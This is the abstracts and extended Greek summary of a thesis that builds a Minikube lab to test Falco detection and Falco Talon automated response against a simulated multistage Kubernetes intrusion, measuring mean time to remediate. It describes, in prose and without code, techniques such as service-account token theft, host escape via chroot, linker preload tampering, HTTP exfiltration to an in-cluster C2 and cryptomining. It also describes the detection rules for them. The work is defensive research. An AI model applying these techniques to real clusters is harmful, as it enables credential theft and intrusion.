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Περίληψη

Η ευρεία υιοθέτηση του containerization, και ειδικότερα του Kubernetes, έχει
αναμορφώσει την υποδομή του cloud και έχει διευρύνει την επιφάνεια επιθέσεων
σε επίπεδο hosts, control plane και χρόνου εκτέλεσης των workloads. Η παρούσα
διπλωματική παρουσιάζει και αξιολογεί ένα ρεαλιστικό, από end-to-end framework
που επικυρώνει την ανίχνευση σε χρόνο εκτέλεσης και τις native Kubernetes
τεχνικές αντιμετώπισης, υπό ρεαλιστική συμπεριφορά επιθέσεων. Υλοποιούμε
ένα εργαστήριο με έναν κόμβο σε minikube και προσομοιώνουμε μια εισβολή
χαρτογραφημένη στο MITRE ATT&CK. Η συνολική διάταξη περιλαμβάνει ένα
σκόπιμα κακώς ρυθμισμένο Jupyter Notebook pod που παρέχει αρχική πρόσβαση,
ένα payload-server εντός του cluster που λειτουργεί ως C2 (Command and Con-
trol) και ένα overprivileged dropper attack-sim που προσομοιώνει πρόσβαση σε
secrets, defense evasion, προσπάθειες container escape, data exfiltration/C2 και
εναν cryptominer. Η ανίχνευση παρέχεται από το Falco (runtime security βα-
σισμένο σε eBPF) με ακριβείς προσαρμοσμένους κανόνες για τις εφαρμοζόμενες
TTPs (Τακτικές, Τεχνικές και Διαδικασίες), π.χ. αναγνώσεις tokens απο service-
account, εξαγωγή δεδομένων μέσω HTTP, chroot προς τον host και εκτέλεση
διεργασίας miner. Τα alerts μεταδίδονται μέσω Falcosidekick στο Falco Talon,
το οποίο εφαρμόζει στοχευμένες, μη καταστροφικές για το σύστημα ενέργειες
αντιμετώπισης όπως labeling των pods, προσωρινή απομόνωση egress μέσω Net-
workPolicy, σύντομα packet captures για forensics ανάλυση και ως έσχατη λύση
τον τερματισμό pod. Ποσοτικοποιούμε την αποτελεσματικότητα με το Mean
Time To Remediate (MTTR), οριζόμενο ως ο χρόνος που μεσολαβεί από την
εκπομπή alert του Falco έως την εκτέλεση ενέργειας από το Talon. Σε επαναλαμ-
βανόμενες εκτελέσεις, ταMTTR ανά κανόνα αποδεικνύονται επαρκώς μικρά ώστε
να περιορίζουν σενάρια αυτοματοποιημένης εξαγωγής δεδομένων και C2 χωρίς
αδιάκριτο τερματισμό workloads. ΄Ολα τα προσομοιωμένα βήματα ανιχνεύον-
ται και αντιμετωπίζονται βάσει σχεδίασης, και δημοσιεύουμε ένα Helm-based
stack, rulebooks και scripts ανάλυσης για την υποστήριξη αναπαραγωγής. Αναγ-
νωρίζονται ορισμένοι περιορισμοί του τρέχοντος πρωτοτύπου, όπως η λειτουργία
σε cluster ενός κόμβου, η εστίαση της απομόνωσης κυρίως στο egress και τα
προεπιλεγμένα policies που προκρίνουν την ασφάλεια έναντι της επιθετικότητας.
Μελλοντικά η εργασία θα μπορούσε να επεκτείνει την αξιολόγηση σε clusters
πολλαπλών κόμβων, να ενσωματώσει επιβολή policies στο data plane και να
προσθέσει βαθύτερη συλλογή και διατήρηση δεδομένων.

Συμπερασματικά, η σύζευξη ακριβών runtime detections με native Kubernetes
τεχνικών αντιμετώπισης προσφέρει έγκαιρο και ελεγχόμενο περιορισμό, με δυνατό-
τητα ελέγχου και χαμηλή λειτουργική διαταραχή. Το προτεινόμενο framework
καθιστά τις τεχνικές των επιθέσεων αναπαραγώγιμες και μετρήσιμες και παρέχει

βάση για συστηματική επικύρωση αμυνών σε cloud-native περιβάλλοντα.

Λέξεις-κλειδιά: Kubernetes, ασφάλεια cloud-native, ανίχνευση σε
χρόνο εκτέλεσης, eBPF, Falco, Falco Talon, Falcosidekick, MITRE
ATT&CK, αυτόματη απόκριση, NetworkPolicy, Minikube, MTTR,
incident response, exfiltration, command and control (C2), Helm.
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Abstract
The widespread adoption of containerization, particularly Kubernetes,
has reshaped cloud infrastructure and expanded the attack surface across
hosts, the control plane, and workload runtime. This thesis presents and
evaluates a realistic, end-to-end framework that validates runtime detection
and Kubernetes-native mitigation under realistic adversary behavior. We
build a single-node Minikube lab and simulate a multistage intrusion
mapped to MITRE ATT&CK. The overall setup consists of a deliberately
misconfigured Jupyter Notebook pod which provides initial access, a
minimal in-cluster payload-server which acts as C2 (Command and Control)
and a privileged attack-sim dropper which simulates credential access,
defense evasion, container-escape attempts, C2/data exfiltration, and
a cryptomining impact. Detection is provided by Falco (eBPF-based
runtime security) with precise custom rules for the exercised TTPs (Tactics,
Techniques, and Procedures) (e.g., service-account token reads, Python-
based HTTP exfiltration, chroot toward a host mount, and miner process
execution). Alerts flow via Falcosidekick to Falco Talon, which applies
scoped, conservative mitigation actions like pod labeling, temporary egress
isolation via NetworkPolicy, short packet captures for forensics, and (as a
last resort) pod termination.
We quantify effectiveness with Mean Time To Remediate (MTTR), defined
as the elapsed time from Falco alert emission to Talon action execution.
Across repeated runs, per-rule MTTRs are shown to be effective and
fast enough to contain scripted exfiltration and interactive C2 without
indiscriminately killing workloads. Residual outlier latency comes from
controller cold starts and occasional single-node contention. All simulated
steps are detected and remediated by design, and we release a reproducible
Helm-based stack, rulebook, and analysis scripts to support replication.
We acknowledge several limitations of the current prototype, such as it
runs on a single-node cluster, its containment focuses on egress isolation,
and its default policies favor safety over aggressiveness. Future work will
extend the evaluation to multi-node clusters, incorporate data plane policy
enforcement, and add deeper forensic capture and retention.

In conclusion, this study shows that coupling precise runtime detections
with Kubernetes native mitigations provides timely, auditable contain-
ment with low operational disruption. The framework renders adversary
techniques reproducible and measurable and offers a basis for systematic
validation of defenses in cloud-native environments.

Keywords — Kubernetes, cloud-native security, runtime detection,
eBPF, Falco, Falco Talon, MITRE ATT&CK, automated response,
NetworkPolicy, Minikube, MTTR, incident response, exfiltration,
command and control (C2), Helm, Falcosidekick.
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Εκταταμένη Ελληνική Περίληψη

Η ευρεία υιοθέτηση των containers, και ειδικότερα του Kubernetes, έχει ανα-
διαμορφώσει την αρχιτεκτονική των υποδομών cloud. Τα οφέλη σε κλιμάκωση,
αυτοματοποίηση και φορητότητα συνοδεύονται από μία πιο σύνθετη επιφάνεια επί-

θεσης, η οποία εκτείνεται στον υποκείμενο host, στο control plane και στο runtime
των workloads. Η παρούσα διπλωματική εργασία επιδιώκει να γεφυρώσει το κενό
ανάμεσα στη θεωρητική περιγραφή τεχνικών επιθέσεων και στη μετρήσιμη, ανα-
παράξιμη επικύρωση αμυντικών μηχανισμών. Για τον σκοπό αυτό, σχεδιάζεται,
υλοποιείται και αξιολογείται ένα ρεαλιστικό, end-to-end πλαίσιο “detection and
response” πάνω σε Kubernetes, όπου η ανίχνευση σε χρόνο εκτέλεσης συνδέε-
ται άμεσα με εγγενείς μηχανισμούς περιορισμού, ώστε κάθε βήμα της αλυσίδας
επίθεσης να οδηγεί σε συγκεκριμένη και τεκμηριωμένη ενέργεια απόκρισης.
Το εργαστηριακό περιβάλλον βασίζεται στοMinikube με πλήρη αυτοματοποίηση

ανάπτυξης μέσω Helm. Η αλυσίδα επίθεσης είναι χαρτογραφημένη στο MITRE
ATT&CK και ξεκινά από ένα σκόπιμα κακορυθμισμένο Jupyter Notebook pod.
Από εκεί, ένας ελαφρύς in-cluster payload-server λειτουργεί ως C2 (Command
and Control) και σερβίρει τα στάδια του κακόβουλου φορτίου. Η εκτέλεση των
τεχνικών γίνεται από ένα attack-sim pod (dropper) το οποίο προσομοιώνει per-
sistence και defense evasion (π.χ. linker manipulation), credential access μέσω
ανάγνωσης service-account tokens, απόπειρες container escape προς πόρους του
host, C2 και εξόρυξη δεδομένων με HTTP, καθώς και μια προσπάθεια crypto-
mining. Οι επιλογές αυτές παράγουν καθαρά και επαναλήψιμα runtime σήματα
που μπορούν να ανιχνευθούν αξιόπιστα και να συσχετιστούν με συγκεκριμένες

ενέργειες απόκρισης.
Η αρχιτεκτονική του πλαισίου συνοψίζεται ως εξής: στο ίδιο node συνυπάρχουν

τα Pods Jupyter (σημείο εισόδου), attack-sim (dropper) και payload-server (C2),
ενώ το Falco τρέχει ως DaemonSet και παρατηρεί κλήσεις συστήματος και συμ-
φραζόμενα Kubernetes, προωθώντας alerts μέσω Falco Sidekick προς τον Falco
Talon. Το Talon καταναλώνει τα alerts και εφαρμόζει αυτοματοποιημένες, εγγενείς
στο Kubernetes ενέργειες: labeling, προσωρινή απομόνωση egress με NetworkPol-
icy, σύντομα packet captures και, μόνο όταν είναι αναγκαίο, τερματισμό pod,
κλείνοντας έτσι τον βρόχο από την ανίχνευση έως τον περιορισμό.
Για να είναι σαφές το τεχνικό υπόβαθρο, η εργασία εισάγει συνοπτικά τα δομικά

στοιχεία του Kubernetes και τα χαρτογραφεί σε επιφάνειες ανίχνευσης και απόκρ-
ισης. Το control plane περιλαμβάνει το API Server (ενιαία πύλη/συμβόλαιο για
όλα τα αντικείμενα και τις μεταβολές κατάστασης), το etcd (ισχυρά συνεπές key-
value store όπου κατοικεί η επιθυμητή/παρατηρούμενη κατάσταση), τον Controller
Manager (συνεχείς reconciliation controllers που οδηγούν το σύστημα από “is”
σε “should be”) και τον Scheduler (δέσμευση pods σε nodes βάσει περιορισ-
μών/affinity/πόρων). Στο επίπεδο των κόμβων, ο kubelet εφαρμόζει το pod spec
μέσω του container runtime (CRI), ενώ η διασύνδεση pods/υπηρεσιών υλοποιείται
από το datapath του CNI και το service abstraction (ClusterIP/NodePort/Load-
Balancer/Ingress) για σταθερή πρόσβαση. Η εργασία αξιοποιεί αυτό το διαστρω-
ματωμένο μοντέλο ώστε να τοποθετήσει με ακρίβεια τα σημεία που παράγουν ob-
servable σήματα (π.χ. syscalls από containers, Kubernetes API events, μεταβολές
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policies) και τα σημεία που μπορούν να εφαρμόσουν γρήγορα, αναστρέψιμα con-
trols (NetworkPolicy, labeling, τερματισμός pods).
Η ασφάλεια σε χρόνο εκτέλεσης στο Kubernetes στηρίζεται πλέον σε μηχανισ-

μούς eBPF/BPF-LSM, οι οποίοι παρακολουθούν, και όταν απαιτείται ελέγχουν,
διεργασίες, πρόσβαση σε αρχεία και δικτυακή δραστηριότητα με χαμηλό over-
head και πλούσιο συμφραζόμενο από το περιβάλλον των containers και του ίδιου
του cluster. Σε αυτό το πλαίσιο, αντιπροσωπευτικές προσεγγίσεις είναι: (α) το
Falco, το οποίο αξιολογεί δηλωτικούς κανόνες πάνω στη ροή κλήσεων συστήμα-
τος (syscalls) συλλεγμένη μέσω eBPF και εμπλουτισμένη με μεταδεδομένα Kuber-
netes· η ώριμη DSL γλώσσα κανόνων και το οικοσύστημα Falcosidekick/Talon
μετατρέπουν τα alerts σε ενορχηστρωμένες ενέργειες, όπως labeling, προσωρινές
NetworkPolicies και επιλεκτικές εκκενώσεις pods, με το βασικό μοντέλο να δίνει
έμφαση πρώτα στην ανίχνευση και να αναθέτει την απόκριση σε εξωτερικούς εκ-

τελεστές. (β) το Tetragon, που ενοποιεί παρατηρησιμότητα και επιβολή: προγραμ-
ματίζει eBPF φίλτρα για παρακολούθηση διεργασιών/αρχείων/δικτύου και μπορεί
να μπλοκάρει inline συγκεκριμένες ενέργειες (π.χ. deny σε exec μη επιτρεπτών
binaries, περιορισμό paths, φραγή δικτυακών συνδέσεων) βάσει πολιτικών που
εκφράζονται ως Kubernetes πόροι· κερδίζει σε καθυστέρηση (latency), εγγενή
επίγνωση ταυτότητας workloads και ενοποιημένη ιχνηλάτηση+πολιτική, με αντάλ-
λαγμα μεγαλύτερη εξάρτηση από δυνατότητες του πυρήνα και στενότερη σύζευξη

με το data plane του Cilium. (γ) το Tracee, το οποίο δίνει έμφαση σε ερε-
υνητικές ανιχνεύσεις και forensics: παρέχει eBPF-based συλλογή γεγονότων
και βιβλιοθήκη «συμπεριφορικών υπογραφών» (Golang/Rego) για μοτίβα όπως
fileless εκτέλεση, επεμβάσεις σε kernel modules και κατάχρηση namespaces·
είναι εξαιρετικό για κυνηγετικές αναλύσεις (blue-team hunting) και συλλογή
αποδείξεων, με την επιβολή να μην αποτελεί στόχο του και γι’ αυτό συνδυάζε-
ται με policy engines όταν απαιτείται blocking. (δ) το KubeArmor, που στο-
χεύει σε προληπτική αποτροπή χρησιμοποιώντας BPF-LSM/LSM hooks: οι πολι-
τικές (YAML) δηλώνουν περιορισμούς ελάχιστων δικαιωμάτων σε επίπεδο διερ-
γασιών/αρχείων/δικτύου και ο μηχανισμός επιβάλλει allow/deny εντός πυρήνα,
εκθέτοντας ταυτόχρονα τηλεμετρία για SIEM/SOAR. Tο πλεονέκτημά του είναι
ο ισχυρός, χαμηλού κόστους προληπτικός έλεγχος, με περιορισμούς που αφορούν
προαπαιτούμενα του πυρήνα και την ανάγκη προσεκτικού tuning για να μη δι-
αταράσσονται τα workloads. Συνολικά, τα Falco/Tracee κλίνουν προς «ανίχνευση
με πλούσια αναλυτική κάλυψη», ενώ τα Tetragon/KubeArmor προς «inline επι-
βολή» με ελέγχους κοντά στον πυρήνα για ταχεία απόκριση. Στην πράξη, πολλές
ομάδες τα «στρωματώνουν»: (i) baseline πρόληψη (KubeArmor/Tetragon), (ii)
συμπεριφορική ανίχνευση (Falco/Tracee) και (iii) ενορχηστρωμένες μετριάσεις
(π.χ. Talon) για βήματα της kill chain όπου ένα σκληρό block θα ήταν διαταρακ-
τικό.
Η ασφάλεια σε χρόνο εκτέλεσης στο Kubernetes στηρίζεται πλέον σε μηχανισ-

μούς eBPF/BPF-LSM, οι οποίοι παρακολουθούν—και όταν απαιτείται ελέγχουν—
διεργασίες, πρόσβαση σε αρχεία και δικτυακή δραστηριότητα με χαμηλό over-
head και πλούσιο συμφραζόμενο από το περιβάλλον των containers και του ίδιου
του cluster. Σε αυτό το πλαίσιο, αντιπροσωπευτικές προσεγγίσεις είναι: (α) το
Falco, το οποίο αξιολογεί δηλωτικούς κανόνες πάνω στη ροή κλήσεων συστήμα-

7



τος (syscalls) συλλεγμένη μέσω eBPF και εμπλουτισμένη με μεταδεδομένα Kuber-
netes· η ώριμη DSL γλώσσα κανόνων και το οικοσύστημα Falcosidekick/Talon
μετατρέπουν τα alerts σε ενορχηστρωμένες ενέργειες, όπως labeling, προσωρινές
NetworkPolicies και επιλεκτικές εκκενώσεις pods, με το βασικό μοντέλο να δίνει
έμφαση πρώτα στην ανίχνευση και να αναθέτει την απόκριση σε εξωτερικούς εκ-

τελεστές.
Με αφετηρία ένα ρεαλιστικό αλλά ελεγχόμενο threat model, επιλέγεται ως

αρχικό σημείο πρόσβασης ένα Jupyter Notebook pod με σκόπιμες "λάθος ρυ-
θμίσεις" που παρατηρούνται συχνά σε πραγματικά περιβάλλοντα. Η τεκμηρίωση
καταγράφει μεταξύ άλλων την απουσία ελέγχου egress (NetworkPolicy), η οποία
επιτρέπει ανεμπόδιστο C2 και εξαγωγή δεδομένων και δυσχεραίνει τον περιορισμό
ενός περιστατικού. Αυτό εντάσσεται σε έναν πίνακα συχνών misconfigurations και
της σχετικής επικινδυνότητας.
Το payload-server υλοποιεί ένα ελάχιστο in-cluster command and control end-

point που φιλοξενεί binaries/scripts για τον dropper και δέχεται αρχεία εξαγωγής
μέσω HTTP, μιμούμενο τον τρόπο με τον οποίο πραγματικοί αντίπαλοι κρύβουν
την C2 κίνηση μέσα στην τυπική εξερχόμενη κίνηση. Η επιλογή αυτή διατηρεί την
πειραματική ρύθμιση απλή, ενώ παράγει ντετερμινιστικά ίχνη διεργασιών, αρχείων
και δικτύου που διευκολύνουν την μέτρηση του χρόνου από την ανίχνευση έως

την ενέργεια απόκρισης.
Το attack-sim pod λειτουργεί ως κλασικός dropper: ανακτά δεύτερου σταδίου

artifacts από την C2, τα σταδιοποιεί στο δίσκο και εκτελεί σεναριοποιημένη ακολου-
θία που καλύπτει persistence, evasion, απόπειρες escape, discovery, C2/exfiltration
και impact. Στο εργαστήριο, ο dropper τρέχει με εκτεταμένα προνόμια και mount
του root filesystem του host, ώστε οι απόπειρες escape και η αλληλεπίδραση με τον
host να είναι ορατές και επαναλήψιμες, χωρίς εξάρτηση από εύθραυστες συνθήκες
περιβάλλοντος.
Στην ανίχνευση, το Falco με προσαρμοσμένο ruleset στοχεύει κάθε τεχνική της

αλυσίδας: ανάγνωση service-account tokens, Python-based HTTP exfiltration, ch-
root προς host mounts, μεταβολή του /etc/ld.so.preload και εκτέλεσηminer. Στην
απόκριση, το Falco Talon εφαρμόζει συντηρητικές, Kubernetes-native ενέργειες:
labeling pods, προσωρινή απομόνωση egress μέσω NetworkPolicy, σύντομα packet
captures και, ως έσχατη επιλογή, τερματισμό pods. Το ζητούμενο είναι η έγκαιρη
διακοπή C2/εξαγωγών με ελάχιστη διαταραχή και με διατήρηση επαρκούς κατάσ-
τασης για διερεύνηση.
Για την αξιολόγηση χρησιμοποιήσαμε τη μετρική Mean Time To Remediate

(MTTR): τον χρόνο από την εκπομπή του alert από τον Falco έως την εκτέλεση
της ενέργειας απόκρισης από τον Talon. Η μέτρηση γίνεται με συσχέτιση των
JSON logs του Falco με τα action logs του Talon ανά εμπλεκόμενο pod και
κανόνα. Για κάθε συμβάν Falco εντοπίζεται η πρώτη ενέργεια Talon με το ίδιο
(κατά προτίμηση) rule name και καταγράφεται η διαφορά χρόνου. Η αναφορά περ-
ιλαμβάνει MTTR ανά γεγονός και περιγραφικά στατιστικά (count, mean, median,
p90, max), ώστε να προκύπτουν συγκρίσεις σε επίπεδο κανόνα και πριν/μετά από
ρυθμιστικές αλλαγές.
Οι βασικές ερωτήσεις που απαντώνται είναι τρεις: (α) ποιος είναι ο end-to-

end χρόνος από ανίχνευση σε περιορισμό (MTTR) υπό ρεαλιστική πολυσταδιακή

8



επίθεση, (β) με πόση αξιοπιστία οι διαμορφωμένες αποκρίσεις περιορίζουν υψηλής
σοβαρότητας συμπεριφορές όπως ρητές αναγνώσεις tokens, C2/exfiltration και
προνομιούχα πρόσβαση στο root filesystem, χωρίς αδιάκριτους τερματισμούς, και
(γ) ποιο είναι το λειτουργικό κόστος αυτών των αποκρίσεων (αποτύπωμα packet-
capture, error rates, επιπτώσεις σε νόμιμα workloads). Η μελέτη αναφέρει πλήρεις
κατανομές, συμπεριλαμβανομένων των ουρών (p90/p99), καταγράφει σφάλματα
ενεργειών και σημειώνει ιτς εκδόσεις των charts για πιστή αναπαραγωγή.
Στην πράξη, τα αποτελέσματα δείχνουν κλείσιμο του βρόχου τάξης δεκάδων

δευτερολέπτων, τυπικά γύρω στα 10–15 s για τη διάμεσο και υψηλά ποσοστη-
μόρια ανά κανόνα. Το εύρος αυτό επαρκεί για να ανακοπούν scripted εξαγ-
ωγές δεδομένων και interactive C2, διατηρώντας ταυτόχρονα την εφαρμογή δι-
αθέσιμη για διερεύνηση. Η εργασία αναγνωρίζει ρητά περιορισμούς και απειλές
εγκυρότητας (single-node, ευαισθησία σε kernel/eBPF, σεναριοποιημένη συμπερι-
φορά αντιπάλου) και προτείνει τρόπους μετριασμού (πλήρεις κατανομές, artifacts
από Talon, αυστηρή τεκμηρίωση εκδόσεων).
Για να ελαχιστοποιηθεί ο θόρυβος και να αυξηθεί η εμπιστοσύνη στην αν-

τιστοίχιση alert→action, η εργασία εφαρμόζει scoping σε namespaces, εξαιρεί
γνωστές legitimate ροές (π.χ. readiness/liveness probes) και προσθέτει συνθήκες
σε επίπεδο cmdline/μονοπατιών αρχείων όπου χρειάζεται. Το αποτέλεσμα είναι
μια αλυσίδα ανίχνευσης-απόκρισης με υψηλή προβλεψιμότητα ανά ενεργοποίηση
πολιτικής, επιτρέποντας συνεπή υπολογισμό MTTR και γρήγορη διάγνωση αποκ-
λίσεων.
Κρίσιμο στοιχείο της συμβολής αποτελεί η αναπαραγωγιμότητα: όλες οι αναπ-

τύξεις γίνονται με Helm, με pinned εκδόσεις charts και ρητές τιμές στα val-
ues που επιβάλλουν ονοματολογίες, labels, service accounts και namespaces.
Η μεθοδολογία προτείνεται ως πρακτικό benchmark για οποιοδήποτε cluster:
δημιουργία namespace, ανάπτυξη των παρεχόμενων payload-server και attack-sim,
συλλογή των alerts από τον ανιχνευτή και των action logs από τον responder, και
υπολογισμός MTTR/ουρών με τα συνοδευτικά scripts, ακόμη και αν δεν χρησι-
μοποιηθεί κάποιο απο τα Falco/Talon, αρκεί η χαρτογράφηση “alert time”/“action
time” στα πεδία logs του εκάστοτε συστήματος για να αναπαράξουμε το πείραμα.
Το πλαίσιο τοποθετείται σε σχετική βιβλιογραφία που διερευνά προληπτικά

μοντέλα απόκρισης (π.χ. WARP, ACE-WARP) και υποστηρίζει ότι ακόμη και
χωρίς πρόβλεψη, ένας αντιδραστικός βρόχος με χαμηλό MTTR καλύπτει σημαν-
τικό τμήμα του κινδύνου με μικρό λειτουργικό κόστος. Αυτό ανοίγει τον δρόμο
για μελλοντική σύζευξη προγνωστικών μηχανισμών με τον παρόντα αντιδραστικό

βρόχο για ταχύτερο και ασφαλές containment, εντός ενός σαφώς οριοθετημένου
framework.
Απο το παραπάνω εξάγουμε τα πειραματικά αποτελέσματα και την αναλυτική

διαδικασία επαλήθευσης της επίθεσης, της ανίχνευσης και της αυτοματοποιημένης
απόκρισης. Αρχικά τεκμηριώνεται η εκτέλεση της πολυσταδιακής επίθεσης και
η ορθή αντιστοίχισή της στα ίχνη του συστήματος: από τις ενδείξεις reconnais-
sance μέσα από το Notebook και την ορατότητα του host filesystem, έως την
επιτυχημένη χρήση του host kubeconfig, χρησιμοποιούνται σαφή «σήματα» για να
συζευχθούν τα banners/markers του σεναρίου με τα γεγονότα Falco/Talon και να
καταδειχθεί ότι κάθε στάδιο όντως συνέβη όπως είχε σχεδιαστεί. Η τεκμηρίωση
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αυτή επιβεβαιώνει την εγκυρότητα της αξιολόγησης πριν προχωρήσει στη μέτρηση

χρόνων απόκρισης.
Η επικύρωση της ανίχνευσης εστιάζει στη ροή Falco → Falcosidekick → Talon

και στην πλούσια ενσωμάτωση μεταδεδομένων Kubernetes μέσα στα JSON events
(κανόνας, προτεραιότητα, χρονική σφραγίδα, και συμφραζόμενα όπως pod/names-
pace). Το Falcosidekick εμφανίζει σε πραγματικό χρόνο τα hits ανά κανόνα
και τα προωθεί με συνέπεια στον Talon, ενώ τα παραδείγματα logs αναδεικνύουν
την ανθρώπινα αναγνώσιμη περίληψη κάθε ανωμαλίας που «δένει» το λειτουργικό
αποτύπωμα με το αντικείμενο του cluster. Αυτή η συνδεσιμότητα είναι κρίσιμη για
την ακριβή αντιστοίχιση detection→action που απαιτεί ο υπολογισμός του MTTR.
Για τη μέτρηση του Mean Time To Remediate (MTTR), η μεθοδολογία είναι

ενιαία και επαναλήψιμη: το πολυσταδιακό σενάριο εκτελείται πολλαπλώς, συλλέ-
γονται τα logs Falco και Talon, και ένας κοινός parser (metrics.py) τα συσχετίζει
γράφοντας ένα κανονικοποιημένο CSV (mttr_events.csv). Η αντιστοίχιση προ-
τιμά ζεύγη με ίδιο rule-name και αυστηρό χρονικό «παράθυρο» προς τα εμπρός·
αν ο Talon δεν καταγράφει ρητά το όνομα του κανόνα, γίνεται συντηρητικό fall-
back στην πρώτη ενέργεια που εμφανίζεται μετά το alert εντός μικρού lookahead.
Για κάθε επιτυχές ταίριασμα, ο MTTR είναι η διαφορά των χρονικών σφραγίδων.
Στο τελικό dataset κάθε γραμμή φέρει time_falco, rule, time_talon, mttr_sec
και ένδειξη match_mode, ώστε να είναι διάφανη η ποιότητα του ταιριάσματος.
Η προσέγγιση αυτή μειώνει την αμφισημία, διατηρεί ενιαία μορφή δεδομένων για
downstream ανάλυση και αντέχει σε θορυβώδη διαστήματα λόγω του μικρού looka-
head και των επαναλήψεων.
Η ανάλυση των δεδομένων MTTR γίνεται με ένα notebook που φορτώνει

το mttr_events.csv και παράγει τέσσερις οπτικοποιήσεις: (α) ιστόγραμμα για τη
συνολική κατανομή, (β) ECDF για άμεση ανάγνωση ποσοστημορίων, (γ) boxplots
ανά κανόνα για συνέπεια/διασπορά και (δ) ράβδους σύνοψης που παραβάλλουν
mean/median/p90 ανά συχνότερο κανόνα. Ο συνδυασμός αυτών των διαγραμ-
μάτων επιτρέπει να αποτυπωθεί τόσο η «κεντρική τάση» όσο και οι ουρές, ενώ τα
boxplots υπογραμμίζουν πού οι πορείες απόκρισης είναι σταθερές (στενό IQR) και
πού εμφανίζονται outliers.
Σε επίπεδο συνολικής απόδοσης, η κατανομή δείχνει ένα σαφές «λειτουργικό

εύρος» όπου κινείται η πλειονότητα των γεγονότων, με κύρια μάζα γύρω στα 8–20
δευτερόλεπτα και, ειδικότερα, υψηλό μερίδιο κάτω από τα ∼15 δευτερόλεπτα. Η
ECDF επιβεβαιώνει ότι το p50 βρίσκεται κοντά στα 12–13 s, το p75 ∼13,3 s,
το p90 ∼15 s και το p95 ∼20 s, αφήνοντας ελάχιστα περιστατικά πέραν των 20
δευτερολέπτων. Οι δεξιές ουρές της κατανομής (με μεμονωμένες τιμές σημαντικά
υψηλότερες) αποδίδονται σε cold starts, παροδική πίεση CPU στον μονοκόμβιο
κόμβο και bursts ταυτόχρονων alerts. Αυτές οι αιτίες αναδύονται ξανά και στην
ανά κανόνα ανάλυση. Η εικόνα αυτή είναι συνεπής με την υπόθεση ενός ελαφριού,
Kubernetes–native βρόχου detection→response που τυπικά «κλείνει» τον κύκλο
σε λίγα δευτερόλεπτα.
Η συνοπτική, ανά κανόνα απεικόνιση ποσοτικοποιεί τις διαφορές σταθερότη-

τας: για κανόνες όπως «Packet socket created in container» ή «Drop and exe-
cute new binary in container» παρατηρούνται στενά εύρη γύρω από τη διάμεσο
(∼11–13 s), ενώ σε άλλες συμπεριφορές (π.χ. cryptominer detection) το p90
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κινείται οριακά υψηλότερα, παραμένοντας όμως εντός του λειτουργικού «παρα-
θύρου» που θέτει ο στόχος ταχείας απομόνωσης egress. Συγκεντρωτικά, ο πί-
νακας σύνοψης ανά κανόνα (N, μέσος, διάμεσος, p90, μέγιστο) δείχνει ότι στις
επαναλαμβανόμενες εκτελέσεις τα περισσότερα alerts επιλύονται σε ∼10–15 s, με
«σφιχτές» διασπορές όπου η ενέργεια είναι κοινή και ντετερμινιστική (labeling ή
σύντομα packet captures). Οι σπάνιες ακραίες τιμές σχετίζονται με την πρώτη
εγκατάσταση πολιτικών (π.χ. αρχική σύγκλιση NetworkPolicy) και ευκαιριακή
διεκδίκηση πόρων. Επιχειρησιακά, αυτό σημαίνει ότι ο βρόχος είναι αρκετά γρή-
γορος ώστε να διακόπτει scripted εξαγωγές και interactive C2 πριν παγιωθεί ζημία,
χωρίς να επιβαρύνει νόμιμα workloads.
Η συζήτηση των μετρικών πλαισιώνεται από τις επιλογές οπτικοποίησης: το

ιστόγραμμα δίνει γρήγορη αίσθηση για μονοκορυφία/πολυκορυφία και ουρές, η
ECDF επιτρέπει άμεσες δηλώσεις τύπου «p90 < 15 s», τα boxplots αναδεικνύουν
συνέπεια ανά κανόνα, ενώ οι ράβδοι mean/median/p90 μεταφέρουν τόσο την
κεντρική τάση όσο και τη συμπεριφορά στις ουρές. Από κοινού, αυτά τεκμηριώ-
νουν την πραγματική απόδοση του pipeline και κατευθύνουν τις βελτιώσεις (π.χ.
στόχευση στη μείωση της δεξιάς ουράς με προθέρμανση μηχανισμών).
Πέρα από την απόδοση, αναγράφουμε και τα μέτρα που λήφθηκαν για να συμπι-

εστεί ο θόρυβος και να αυξηθεί η εμπιστοσύνη στα ζεύγη alert→action: scoping σε
συγκεκριμένα namespaces, εξαίρεση νόμιμων ροών όπως readiness/liveness probes
και προσθήκη συνθηκών σε επίπεδο cmdline/μονοπατιών αρχείων όπου κρινόταν
αναγκαίο. ΄Ετσι ελαχιστοποιούνται τα ψευδώς θετικά χωρίς απώλεια ευαισθησίας
και διατηρείται μια προβλέψιμη, ελεγχόμενη αλυσίδα απόκρισης που διευκολύνει
τον συνεπή υπολογισμό MTTR.
Τα συμπεράσματα συνοψίζουν τα κύρια ευρήματα, δηλώνουν τις παραδοχές

και τους περιορισμούς, και ανοίγουν συγκεκριμένες κατευθύνσεις μελλοντικής ερ-
γασίας. Ο πυρήνας της συμβολής είναι ένας διαφανής, ελέγξιμος (auditable) Ku-
bernetes–native αγωγός που μετατρέπει ακριβή runtime σήματα σε ταχείες, ανασ-
τρέψιμες μετριάσεις. Σε επαναλαμβανόμενες εκτελέσεις, ο βρόχος από Falco alert
σε Talon action έκλεισε σταθερά σε 10–15 s για τις συχνότερες συμπεριφορές,
αρκετά γρήγορα για να διακοπεί scripted exfiltration και interactive C2, με χαμηλή
όχληση στα καλοήθη workloads. Η μέτρηση έγινε συνειδητά σε μονοκόμβιο
Minikube υπό ήπιο φορτίο για ντετερμινισμό και αναπαραγωγιμότητα· σε πραγ-
ματικά πολυκόμβια περιβάλλοντα αναμένονται πρόσθετες καθυστερήσεις/διασπορά
από scheduling, reconciliation, σύγκλιση CNI πολιτικών και «θορυβώδεις γεί-
τονες», κάτι που πιθανόν μετακινεί προς τα πάνω τα p90/p99. Παρ’ όλα αυτά,
η μεθοδολογία και τα πλήρη artifacts (κανόνες, actions, scripts) επιτρέπουν
ανεξάρτητη επαλήθευση και συγκρίσεις.
Η πρώτη γραμμή μελλοντικής εργασίας είναι η σύζευξη του σημερινού ταχέος

αντιδραστικού kernel με προληπτικό/προγνωστικό σχεδιασμό. Σήματα ρίσκου
μπορούν να χρησιμοποιηθούν για προ-τοποθέτηση μετριασμών στα «πιθανά επό-
μενα βήματα» του attacker (π.χ. προϋπολογισμένες πολιτικές egress ή υποψήφιοι
στόχοι μετανάστευσης per namespace) και για εισαγωγή αποφάσεων με κόσ-
τος, που σέβονται SLOs ενώ μεγιστοποιούν τη μείωση κινδύνου, στο πνεύμα των
WARP/ACE–WARP. Το ίδιο όργανο MTTR παραμένει outcome metric για τα
περιστατικά που δεν προλαμβάνονται, ενώ ο ρυθμός παρεμπόδισης (interdiction
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rate) και τα «περιβλήματα κόστους» (cost envelopes) μετρούν τη νέα, προγνω-
στική στοιβάδα.
